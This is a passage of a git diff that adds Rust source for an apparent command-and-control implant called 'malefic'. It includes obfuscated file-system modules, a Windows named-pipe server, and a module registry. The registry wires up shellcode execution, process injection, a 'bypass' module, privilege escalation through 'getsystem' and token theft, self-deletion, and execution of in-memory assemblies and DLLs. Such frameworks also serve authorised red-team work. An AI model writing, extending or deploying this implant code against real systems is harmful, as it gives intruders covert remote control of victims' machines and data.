) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let filename = check_field!(request.input)?; + let data = std::fs::read(filename)?; + + let mut response = BinaryResponse::default(); + response.data = data; + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(response), + )) + } +} diff --git a/malefic-modules/src/fs/cd.rs b/malefic-modules/src/fs/cd.rs new file mode 100644 index 0000000..e60bcc3 --- /dev/null +++ b/malefic-modules/src/fs/cd.rs @@ -0,0 +1,31 @@ +use crate::prelude::*; + +pub struct Cd {} + +#[async_trait] +#[module_impl("cd")] +impl Module for Cd {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Cd { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + // Try to set current directory, return error if failed + std::env::set_current_dir(&request.input)?; + + // Normal logic + let mut response = Response::default(); + let output = std::env::current_dir()?; + response.output = output.to_string_lossy().to_string(); + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/fs/chmod.rs b/malefic-modules/src/fs/chmod.rs new file mode 100644 index 0000000..a652de8 --- /dev/null +++ b/malefic-modules/src/fs/chmod.rs @@ -0,0 +1,29 @@ +use crate::prelude::*; + +pub struct Chmod {} + +#[async_trait] +#[module_impl("chmod")] +impl Module for Chmod {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Chmod { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let args = check_field!(request.args, 2)?; + + if let [path, mode_str] = &args[..] { + let mode = u32::from_str_radix(&mode_str.trim(), 8)?; + malefic_sysinfo::filesys::chmod(&path, mode)?; + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/chown.rs b/malefic-modules/src/fs/chown.rs new file mode 100644 index 0000000..382e4ad --- /dev/null +++ b/malefic-modules/src/fs/chown.rs @@ -0,0 +1,29 @@ +use crate::prelude::*; + +pub struct Chown {} + +#[async_trait] +#[module_impl("chown")] +impl Module for Chown {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Chown { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ChownRequest)?; + + // Check if uid and gid exist, and try to parse them as Uid and Gid + let uid = check_field!(request.uid)?.parse::()?; + let gid = check_field!(request.gid)?.parse::()?; + let path = check_field!(request.path)?; + + malefic_sysinfo::filesys::chown(&path, uid, gid)?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/cp.rs b/malefic-modules/src/fs/cp.rs new file mode 100644 index 0000000..e4fea78 --- /dev/null +++ b/malefic-modules/src/fs/cp.rs @@ -0,0 +1,25 @@ +use crate::prelude::*; + +pub struct Cp {} + +#[async_trait] +#[module_impl("cp")] +impl Module for Cp {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Cp { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let params = check_field!(request.args, 2)?; + + std::fs::copy(¶ms[0], ¶ms[1])?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/driver.rs b/malefic-modules/src/fs/driver.rs new file mode 100644 index 0000000..d7e22f4 --- /dev/null +++ b/malefic-modules/src/fs/driver.rs @@ -0,0 +1,39 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb::{DriveInfo, EnumDriversResponse}; + +pub struct EnumDrivers {} + +#[async_trait] +#[module_impl("enum_drivers")] +impl Module for EnumDrivers {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for EnumDrivers { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _request = check_request!(receiver, Body::Request)?; + let mut drives = vec![]; + + let drive_list = malefic_sysinfo::win::driver::enum_drivers(); + for (drive_path, drive_type) in drive_list { + drives.push(DriveInfo { + path: drive_path, + drive_type, + total_size: 0, + free_size: 0, + file_system: "".to_string(), + }); + } + + Ok(TaskResult::new_with_body( + id, + Body::EnumDriversResponse(EnumDriversResponse { drives }), + )) + } +} diff --git a/malefic-modules/src/fs/ls.rs b/malefic-modules/src/fs/ls.rs new file mode 100644 index 0000000..8fa47e0 --- /dev/null +++ b/malefic-modules/src/fs/ls.rs @@ -0,0 +1,66 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb::{FileInfo, LsResponse}; + +pub struct Ls {} + +#[async_trait] +#[module_impl("ls")] +impl Module for Ls {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Ls { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let path = check_field!(request.input)?; + let mut entries = vec![]; + let read_dir = std::fs::read_dir(&path)?; + + for entry in read_dir.flatten() { + let p = entry.path(); + let metadata = match entry.metadata() { + Ok(m) => m, + Err(_) => continue, + }; + let mode = malefic_sysinfo::filesys::get_file_mode(&metadata); + let link = if metadata.file_type().is_symlink() { + std::fs::read_link(&p) + .map(|path| path.to_string_lossy().into_owned()) + .unwrap_or(String::new()) + } else { + String::new() + }; + entries.push(FileInfo { + name: p + .file_name() + .map(|os_str| os_str.to_string_lossy().to_string()) + .unwrap_or(String::new()), + is_dir: metadata.is_dir(), + size: metadata.len(), + mode, + mod_time: metadata + .modified() + .ok() + .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) + .unwrap_or(std::time::Duration::from_secs(0)) + .as_secs() as i64, + link, + }); + } + + Ok(TaskResult::new_with_body( + id, + Body::LsResponse(LsResponse { + path, + exists: true, + files: entries, + }), + )) + } +} diff --git a/malefic-modules/src/fs/mkdir.rs b/malefic-modules/src/fs/mkdir.rs new file mode 100644 index 0000000..20cf25d --- /dev/null +++ b/malefic-modules/src/fs/mkdir.rs @@ -0,0 +1,26 @@ +use crate::prelude::*; + +pub struct Mkdir {} + +#[async_trait] +#[module_impl("mkdir")] +impl Module for Mkdir {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Mkdir { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let dir = check_field!(request.input)?; + + std::fs::create_dir_all(dir)?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/mod.rs b/malefic-modules/src/fs/mod.rs new file mode 100644 index 0000000..8447384 --- /dev/null +++ b/malefic-modules/src/fs/mod.rs @@ -0,0 +1,26 @@ +#[cfg(feature = "cat")] +pub mod cat; +#[cfg(feature = "cd")] +pub mod cd; +#[cfg(all(feature = "chmod", not(target_family = "windows")))] +pub mod chmod; +#[cfg(all(feature = "chown", not(target_family = "windows")))] +pub mod chown; +#[cfg(feature = "cp")] +pub mod cp; +#[cfg(all(feature = "enum_drivers", target_family = "windows"))] +pub mod driver; +#[cfg(feature = "ls")] +pub mod ls; +#[cfg(feature = "mkdir")] +pub mod mkdir; +#[cfg(feature = "mv")] +pub mod mv; +#[cfg(all(feature = "pipe", target_family = "windows"))] +pub mod pipe; +#[cfg(feature = "pwd")] +pub mod pwd; +#[cfg(feature = "rm")] +pub mod rm; +#[cfg(feature = "touch")] +pub mod touch; diff --git a/malefic-modules/src/fs/mv.rs b/malefic-modules/src/fs/mv.rs new file mode 100644 index 0000000..aa03be4 --- /dev/null +++ b/malefic-modules/src/fs/mv.rs @@ -0,0 +1,28 @@ +use crate::prelude::*; + +pub struct Mv {} + +#[async_trait] +#[module_impl("mv")] +impl Module for Mv {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Mv { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let args = check_field!(request.args, 2)?; + + if let [src, dst] = &args[..] { + std::fs::rename(&src, &dst)?; + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/pipe.rs b/malefic-modules/src/fs/pipe.rs new file mode 100644 index 0000000..cd87f67 --- /dev/null +++ b/malefic-modules/src/fs/pipe.rs @@ -0,0 +1,513 @@ +use crate::prelude::*; +use futures::SinkExt; +use futures_timer::Delay; +use malefic_os_win::pipe::{NamedPipe, PipeClient}; +use malefic_proto::proto::modulepb::BinaryResponse; +use std::collections::{HashMap, VecDeque}; +use std::sync::Mutex; +use std::sync::{ + atomic::{AtomicBool, Ordering}, + Arc, +}; +use std::time::Duration; + +pub struct PipeUpload {} + +#[async_trait] +#[module_impl("pipe_upload")] +impl Module for PipeUpload {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for PipeUpload { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::PipeRequest)?; + let pipe_name = check_field!(request.name)?; + + let pipe_client = match PipeClient::connect(&pipe_name) { + Ok(client) => client, + Err(e) => { + return Err(e.into()); + } + }; + + if request.data.is_empty() { + // if data is empty, do nothing + } else { + to_error!(pipe_client.write(&request.data))?; + drop(pipe_client); + return Ok(TaskResult::new_with_ack(id, 0)); + } + + let _ = sender.send(TaskResult::new_with_ack(id, 0)).await?; + + loop { + let block = check_request!(receiver, Body::Block)?; + + let data_len = block.content.len(); + + if data_len != 0 { + to_error!(pipe_client.write(&block.content))?; + } + + if block.end { + drop(pipe_client); + return Ok(TaskResult::new_with_ack(id, block.block_id)); + } else { + let _ = sender + .send(TaskResult::new_with_ack(id, block.block_id)) + .await?; + } + } + } +} + +pub struct PipeRead {} + +#[async_trait] +#[module_impl("pipe_read")] +impl Module for PipeRead {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for PipeRead { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::PipeRequest)?; + let pipe_name: String = check_field!(request.name)?; + + let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { + pipe_name.clone() + } else { + format!("\\\\.\\pipe\\{}", pipe_name) + }; + + let has_active_server = { + let servers = PIPE_SERVERS.lock().unwrap(); + servers.contains_key(&full_pipe_name) + }; + + if has_active_server { + let cached_bytes = { + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); + if let Some(queue) = cache.get_mut(&full_pipe_name) { + let mut bytes = Vec::new(); + while let Some(chunk) = queue.pop_front() { + bytes.extend_from_slice(&chunk); + } + bytes + } else { + Vec::new() + } + }; + + debug!( + "Read cached data from pipe server {}: {} bytes", + &full_pipe_name, + cached_bytes.len() + ); + + return Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + data: cached_bytes, + message: Vec::new(), + err: String::new(), + status: 200, + }), + )); + } else { + let pipe_client = match PipeClient::connect(&pipe_name) { + Ok(client) => client, + Err(e) => { + debug!("Failed to connect to pipe and no active server found"); + let resp = Response { + output: "".to_string(), + error: format!("No active pipe server and failed to connect: {}", e), + kv: Default::default(), + array: vec![], + }; + return Ok(TaskResult::new_with_body(id, Body::Response(resp))); + } + }; + + let mut buffer = vec![0; 4096]; + let mut total_content = Vec::new(); + + loop { + let bytes_read = to_error!(pipe_client.read(&mut buffer))? as usize; + if bytes_read == 0 { + drop(pipe_client); + break; + } + + total_content.extend_from_slice(&buffer[..bytes_read]); + } + + let resp = Response { + output: String::from_utf8_lossy(&total_content).to_string(), + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + } +} + +malefic_gateway::lazy_static! { + static ref PIPE_SERVERS: Arc>>> = Arc::new(Mutex::new(HashMap::new())); + static ref PIPE_DATA_CACHE: Arc>>>> = Arc::new(Mutex::new(HashMap::new())); +} + +pub struct PipeServer {} + +#[async_trait] +#[module_impl("pipe_server")] +impl Module for PipeServer {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for PipeServer { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let pipe_info = check_request!(receiver, Body::PipeRequest)?; + + let action = check_field!(pipe_info.target)?; // Use target field as action + let pipe_name = check_field!(pipe_info.name)?; + + match action.as_str() { + "start" => self.start_server(id, &pipe_name, sender).await, + "stop" => self.stop_server(id, &pipe_name).await, + "list" => self.list_servers(id).await, + "clear" => self.clear_cache(id, &pipe_name).await, + "status" => self.get_server_status(id, &pipe_name).await, + _ => { + let resp = Response { + output: "".to_string(), + error: format!( + "Unknown action: {}. Available actions: start, stop, list, clear, status", + action + ), + kv: Default::default(), + array: vec![], + }; + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + } + } +} + +#[obfuscate] +impl PipeServer { + async fn start_server( + &mut self, + id: u32, + pipe_name: &str, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { + pipe_name.to_string() + } else { + format!("\\\\.\\pipe\\{}", pipe_name) + }; + + { + let servers = PIPE_SERVERS.lock().unwrap(); + if servers.contains_key(&full_pipe_name) { + let resp = Response { + output: "".to_string(), + error: format!("Pipe server {} is already running", full_pipe_name), + kv: Default::default(), + array: vec![], + }; + return Ok(TaskResult::new_with_body(id, Body::Response(resp))); + } + } + + let running = Arc::new(AtomicBool::new(true)); + + { + let mut servers = PIPE_SERVERS.lock().unwrap(); + servers.insert(full_pipe_name.clone(), running.clone()); + } + + { + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); + cache.insert(full_pipe_name.clone(), VecDeque::new()); + } + + let pipe_name_clone = full_pipe_name.clone(); + let running_clone = running.clone(); + + let handle = std::thread::spawn(move || { + let mut _client_id = 0u32; + + while running_clone.load(Ordering::Relaxed) { + let pipe = match NamedPipe::create(&pipe_name_clone) { + Ok(pipe) => pipe, + Err(_) => { + std::thread::sleep(std::time::Duration::from_millis(100)); + continue; + } + }; + + debug!( + "Pipe server {} waiting for client connection...", + &pipe_name_clone + ); + + if let Err(_) = pipe.wait() { + std::thread::sleep(std::time::Duration::from_millis(100)); + continue; + } + + _client_id += 1; + debug!( + "Client {} connected to pipe {}", + _client_id, &pipe_name_clone + ); + + let mut buffer = vec![0u8; 4096]; + + loop { + if !running_clone.load(Ordering::Relaxed) { + break; + } + + match pipe.read(&mut buffer) { + Ok(bytes_read) => { + if bytes_read == 0 { + debug!( + "Client {} disconnected from pipe {}", + _client_id, &pipe_name_clone + ); + break; + } + + let data = &buffer[..bytes_read as usize]; + debug!( + "Received {} bytes from client {} on pipe {}", + bytes_read, _client_id, &pipe_name_clone + ); + + { + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); + if let Some(queue) = cache.get_mut(&pipe_name_clone) { + queue.push_back(data.to_vec()); + while queue.len() > 1000 { + queue.pop_front(); + } + } + } + } + Err(_e) => { + debug!( + "Read error on pipe {} for client {}: {:?}", + &pipe_name_clone, _client_id, _e + ); + break; + } + } + + std::thread::sleep(std::time::Duration::from_millis(10)); + } + + debug!( + "Client {} handler for pipe {} finished", + _client_id, &pipe_name_clone + ); + } + + debug!("Pipe server {} shutting down", &pipe_name_clone); + + { + let mut servers = PIPE_SERVERS.lock().unwrap(); + servers.remove(&pipe_name_clone); + } + }); + + let _ = handle; + + let resp = Response { + output: format!("Pipe server {} started successfully", full_pipe_name), + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + + async fn stop_server(&mut self, id: u32, pipe_name: &str) -> ModuleResult { + let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { + pipe_name.to_string() + } else { + format!("\\\\.\\pipe\\{}", pipe_name) + }; + + let result = { + let mut servers = PIPE_SERVERS.lock().unwrap(); + if let Some(running) = servers.remove(&full_pipe_name) { + running.store(false, Ordering::Relaxed); + + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); + let cache_count = cache.get(&full_pipe_name).map(|q| q.len()).unwrap_or(0); + cache.remove(&full_pipe_name); + + format!( + "Pipe server {} stopped successfully, cleared {} cached messages", + full_pipe_name, cache_count + ) + } else { + format!("Pipe server {} is not running", full_pipe_name) + } + }; + + let resp = Response { + output: result, + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + + async fn list_servers(&mut self, id: u32) -> ModuleResult { + let servers = { + let servers = PIPE_SERVERS.lock().unwrap(); + servers.keys().cloned().collect::>() + }; + + let output = if servers.is_empty() { + "No pipe servers are currently running".to_string() + } else { + format!("Running pipe servers:\n{}", servers.join("\n")) + }; + + let resp = Response { + output, + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + + async fn clear_cache(&mut self, id: u32, pipe_name: &str) -> ModuleResult { + let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { + pipe_name.to_string() + } else { + format!("\\\\.\\pipe\\{}", pipe_name) + }; + + let result = { + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); + if let Some(queue) = cache.get_mut(&full_pipe_name) { + let count = queue.len(); + queue.clear(); + format!( + "Cleared {} cached messages from pipe {}", + count, full_pipe_name + ) + } else { + format!("No cache found for pipe {}", full_pipe_name) + } + }; + + let resp = Response { + output: result, + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + + async fn get_server_status(&mut self, id: u32, pipe_name: &str) -> ModuleResult { + let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { + pipe_name.to_string() + } else { + format!("\\\\.\\pipe\\{}", pipe_name) + }; + + let (is_running, cache_size) = { + let servers = PIPE_SERVERS.lock().unwrap(); + let is_running = servers.contains_key(&full_pipe_name); + + let cache = PIPE_DATA_CACHE.lock().unwrap(); + let cache_size = cache.get(&full_pipe_name).map(|q| q.len()).unwrap_or(0); + + (is_running, cache_size) + }; + + let status = if is_running { + format!( + "Pipe server {} is running with {} cached messages", + full_pipe_name, cache_size + ) + } else { + format!("Pipe server {} is not running", full_pipe_name) + }; + + let resp = Response { + output: status, + error: "".to_string(), + kv: Default::default(), + array: vec![], + }; + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } + + #[allow(dead_code)] + async fn run_pipe_server( + pipe_name: &str, + running: Arc, + _sender: malefic_module::Output, + ) -> Result<(), Box> { + let mut _client_id = 0u32; + + while running.load(Ordering::Relaxed) { + let pipe = match NamedPipe::create(pipe_name) { + Ok(pipe) => pipe, + Err(_e) => { + debug!("Failed to create pipe {}: {:?}", pipe_name, _e); + Delay::new(Duration::from_millis(100)).await; + continue; + } + }; + + debug!("Pipe server {} waiting for client connection...", pipe_name); + + if let Err(_e) = pipe.wait() { + debug!("Failed to wait for client on {}: {:?}", pipe_name, _e); + Delay::new(Duration::from_millis(100)).await; + continue; + } + + _client_id += 1; + debug!("Client {} connected to pipe {}", _client_id, pipe_name); + } + + debug!("Pipe server {} shutting down", pipe_name); + Ok(()) + } +} diff --git a/malefic-modules/src/fs/pwd.rs b/malefic-modules/src/fs/pwd.rs new file mode 100644 index 0000000..3e54127 --- /dev/null +++ b/malefic-modules/src/fs/pwd.rs @@ -0,0 +1,27 @@ +use crate::prelude::*; + +pub struct Pwd {} + +#[async_trait] +#[module_impl("pwd")] +impl Module for Pwd {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Pwd { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + + let mut response = Response::default(); + let output = std::env::current_dir()?; + response.output = output.to_string_lossy().to_string(); + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/fs/rm.rs b/malefic-modules/src/fs/rm.rs new file mode 100644 index 0000000..5957867 --- /dev/null +++ b/malefic-modules/src/fs/rm.rs @@ -0,0 +1,27 @@ +use crate::prelude::*; + +pub struct Rm {} + +#[async_trait] +#[module_impl("rm")] +impl Module for Rm {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Rm { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let filename = check_field!(request.input)?; + // Attempt to delete file, return error if failed + std::fs::remove_file(filename)?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/fs/touch.rs b/malefic-modules/src/fs/touch.rs new file mode 100644 index 0000000..bee8688 --- /dev/null +++ b/malefic-modules/src/fs/touch.rs @@ -0,0 +1,29 @@ +use crate::prelude::*; +use std::path::Path; + +pub struct Touch {} + +#[async_trait] +#[module_impl("touch")] +impl Module for Touch {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Touch { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let path_str = check_field!(request.input)?; + let path = Path::new(&path_str); + + if !path.exists() { + std::fs::File::create(path)?; + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/lib.rs b/malefic-modules/src/lib.rs new file mode 100644 index 0000000..39a323d --- /dev/null +++ b/malefic-modules/src/lib.rs @@ -0,0 +1,270 @@ +#![feature(stmt_expr_attributes)] +#![feature(type_alias_impl_trait)] +#![feature(async_closure)] +pub mod execute; +pub mod fs; +pub mod net; +pub mod prelude; +pub mod sys; + +use std::collections::HashMap; + +use crate::prelude::*; + +#[cfg(not(feature = "disable_register"))] +#[no_mangle] +#[allow(improper_ctypes_definitions)] +pub extern "C" fn register_modules() -> MaleficBundle { + let mut map: MaleficBundle = HashMap::new(); + + #[cfg(debug_assertions)] + map.insert( + sys::example::Example::name().to_string(), + Box::new(sys::example::Example::new()), + ); + + register_module!(map, "pwd", fs::pwd::Pwd); + register_module!(map, "cd", fs::cd::Cd); + register_module!(map, "ls", fs::ls::Ls); + register_module!(map, "rm", fs::rm::Rm); + register_module!(map, "mv", fs::mv::Mv); + register_module!(map, "cp", fs::cp::Cp); + register_module!(map, "mkdir", fs::mkdir::Mkdir); + register_module!(map, "cat", fs::cat::Cat); + register_module!(map, "touch", fs::touch::Touch); + + register_module!(map, "upload", net::upload::Upload); + register_module!(map, "download", net::download::Download); + + register_module!(map, "exec", execute::exec::Exec); + register_module!(map, "open", execute::open::Open); + register_module!( + map, + "execute_shellcode", + execute::execute_shellcode::ExecuteShellcode + ); + register_module!(map, "kill", sys::kill::Kill); + register_module!(map, "whoami", sys::whoami::Whoami); + register_module!(map, "env", sys::env::Env); + register_module!(map, "env", sys::env::Setenv); + register_module!(map, "env", sys::env::Unsetenv); + register_module!(map, "ps", sys::ps::Ps); + register_module!(map, "netstat", sys::netstat::Netstat); + register_module!(map, "info", sys::info::SysInfo); + + #[cfg(target_family = "unix")] + { + register_module!(map, "chmod", fs::chmod::Chmod); + register_module!(map, "chown", fs::chown::Chown); + } + + #[cfg(target_os = "windows")] + { + register_module!(map, "service", sys::service::ServiceList); + register_module!(map, "service", sys::service::ServiceStart); + register_module!(map, "service", sys::service::ServiceStop); + register_module!(map, "service", sys::service::ServiceDelete); + register_module!(map, "service", sys::service::ServiceQuery); + register_module!(map, "service", sys::service::ServiceCreate); + register_module!(map, "taskschd", sys::taskschd::TaskSchdList); + register_module!(map, "taskschd", sys::taskschd::TaskSchdQuery); + register_module!(map, "taskschd", sys::taskschd::TaskSchdCreate); + register_module!(map, "taskschd", sys::taskschd::TaskSchdDelete); + register_module!(map, "taskschd", sys::taskschd::TaskSchdStart); + register_module!(map, "taskschd", sys::taskschd::TaskSchdRun); + register_module!(map, "taskschd", sys::taskschd::TaskSchdStop); + register_module!(map, "registry", sys::reg::RegQuery); + register_module!(map, "registry", sys::reg::RegAdd); + register_module!(map, "registry", sys::reg::RegDelete); + register_module!(map, "registry", sys::reg::RegListKey); + register_module!(map, "registry", sys::reg::RegListValue); + register_module!(map, "bypass", sys::bypass::Bypass); + register_module!(map, "self_dele", sys::self_dele::SelfDele); + register_module!(map, "inject", sys::inject::Inject); + register_module!(map, "runas", sys::token::RunAs); + register_module!(map, "privs", sys::token::GetPriv); + register_module!(map, "getsystem", sys::token::GetSystem); + register_module!(map, "rev2self", sys::token::Rev2Self); + register_module!(map, "enum_drivers", fs::driver::EnumDrivers); + + // register_module!(map, "pipe", fs::pipe::PipeClose); + register_module!(map, "pipe", fs::pipe::PipeRead); + register_module!(map, "pipe", fs::pipe::PipeUpload); + register_module!(map, "pipe", fs::pipe::PipeServer); + + register_module!(map, "execute_bof", execute::execute_bof::ExecuteBof); + #[cfg(feature = "execute_powershell")] + register_module!( + map, + "execute_powershell", + execute::execute_powershell::ExecutePowershell + ); + + #[cfg(feature = "execute_assembly")] + register_module!( + map, + "execute_assembly", + execute::execute_assembly::ExecuteAssembly + ); + + register_module!(map, "dllspawn", execute::dllspawn::ExecuteDllSpawn); + register_module!(map, "inline_local", execute::inline_local::InlineLocal); + register_module!( + map, + "execute_armory", + execute::execute_armory::ExecuteArmory + ); + register_module!(map, "execute_exe", execute::execute_exe::ExecuteExe); + register_module!(map, "execute_dll", execute::execute_dll::ExecuteDll); + register_module!(map, "execute_local", execute::execute_local::ExecuteLocal); + + #[cfg(feature = "wmi")] + { + register_module!(map, "wmi", sys::wmi::WmiQuery); + register_module!(map, "wmi", sys::wmi::WmiExecuteMethod); + } + } + map +} + +// DLL export: C ABI functions for runtime hot-loading. +// Each module mirrors register_modules() with matching cfg gates. +#[cfg(feature = "as_module_dll")] +malefic_module::register_rt_modules!( + // fs + #[cfg(feature = "pwd")] + fs::pwd::Pwd, + #[cfg(feature = "cd")] + fs::cd::Cd, + #[cfg(feature = "ls")] + fs::ls::Ls, + #[cfg(feature = "rm")] + fs::rm::Rm, + #[cfg(feature = "mv")] + fs::mv::Mv, + #[cfg(feature = "cp")] + fs::cp::Cp, + #[cfg(feature = "mkdir")] + fs::mkdir::Mkdir, + #[cfg(feature = "cat")] + fs::cat::Cat, + #[cfg(feature = "touch")] + fs::touch::Touch, + // net + #[cfg(feature = "upload")] + net::upload::Upload, + #[cfg(feature = "download")] + net::download::Download, + // execute + #[cfg(feature = "exec")] + execute::exec::Exec, + #[cfg(feature = "open")] + execute::open::Open, + #[cfg(feature = "execute_shellcode")] + execute::execute_shellcode::ExecuteShellcode, + // sys + #[cfg(feature = "kill")] + sys::kill::Kill, + #[cfg(feature = "whoami")] + sys::whoami::Whoami, + #[cfg(feature = "env")] + sys::env::Env, + #[cfg(feature = "env")] + sys::env::Setenv, + #[cfg(feature = "env")] + sys::env::Unsetenv, + #[cfg(feature = "ps")] + sys::ps::Ps, + #[cfg(feature = "netstat")] + sys::netstat::Netstat, + #[cfg(feature = "info")] + sys::info::SysInfo, + // unix + #[cfg(all(target_family = "unix", feature = "chmod"))] + fs::chmod::Chmod, + #[cfg(all(target_family = "unix", feature = "chown"))] + fs::chown::Chown, + // windows + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceList, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceStart, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceStop, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceDelete, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceQuery, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceCreate, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdList, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdQuery, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdCreate, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdDelete, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdStart, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdRun, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdStop, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegQuery, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegAdd, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegDelete, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegListKey, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegListValue, + #[cfg(all(target_os = "windows", feature = "bypass"))] + sys::bypass::Bypass, + #[cfg(all(target_os = "windows", feature = "self_dele"))] + sys::self_dele::SelfDele, + #[cfg(all(target_os = "windows", feature = "inject"))] + sys::inject::Inject, + #[cfg(all(target_os = "windows", feature = "runas"))] + sys::token::RunAs, + #[cfg(all(target_os = "windows", feature = "privs"))] + sys::token::GetPriv, + #[cfg(all(target_os = "windows", feature = "getsystem"))] + sys::token::GetSystem, + #[cfg(all(target_os = "windows", feature = "rev2self"))] + sys::token::Rev2Self, + #[cfg(all(target_os = "windows", feature = "enum_drivers"))] + 